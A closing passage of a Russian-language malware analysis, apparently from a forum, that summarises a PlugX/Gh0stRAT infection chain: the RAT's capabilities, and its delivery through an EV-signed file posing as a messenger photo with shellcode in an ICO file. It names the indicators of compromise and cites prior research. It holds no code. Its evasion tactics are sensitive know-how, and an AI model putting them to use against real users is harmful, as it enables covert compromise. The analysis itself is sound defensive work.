│  └─ PlugX/Gh0stRAT (скомпилирован 2022-12-01)
│     ├─ cmd.exe -Puppet (удалённая оболочка)
│     ├─ VNC-подобный доступ к рабочему столу
│     ├─ Инъекция в процессы
│     ├─ Завершение 25+ антивирусов
│     └─ InternetOpenUrlA → загрузка дополнительных плагинов по HTTP

Выводы​

Общая схема работы зловреда

Общая схема работы зловреда


Финальная нагрузка - PlugX/Gh0stRAT - даёт атакующему полный контроль над машиной жертвы: интерактивная оболочка, доступ к рабочему столу, внедрение в процессы, отключение антивирусов, почти полное отсутствие артефактов на диске. Весьма опасный инструмент. Но при этом - не уникальный и не новый.

Сам бэкдор скомпилирован в 2022 году, и его поведение уже описано в открытых источниках. Механизм получения нагрузки через токен GETGOD упоминается в публикации Kaspersky. На Hybrid Analysis есть другой образец, который ходит на тот же IP. То есть Stage 3 и Stage 2 так или иначе уже светились - исследователи их видели.

Новым и по-настоящему опасным является другое. На момент анализа VirusTotal не знал ни первоначальный файл, ни ICO с шеллкодом. Домен login.guyundaji.com нигде не засветился. Китайская компания Beijing Guyundaji Trading Co., Ltd с EV-сертификатом от Certum - тоже впервые. Именно это сочетание и делает атаку практически невидимой: известный бэкдор доставляется через полностью чистую, нигде не упоминавшуюся инфраструктуру с легитимной подписью кода.

Антивирус молчит. SmartScreen молчит. Файл подписан настоящим EV-сертификатом. Пользователь кликает на то, что выглядит как фото из мессенджера - и получает полноценный RAT в памяти, которого даже не существует на диске.
 
Назад
Сверху Снизу
Яндекс.Метрика Рейтинг@Mail.ru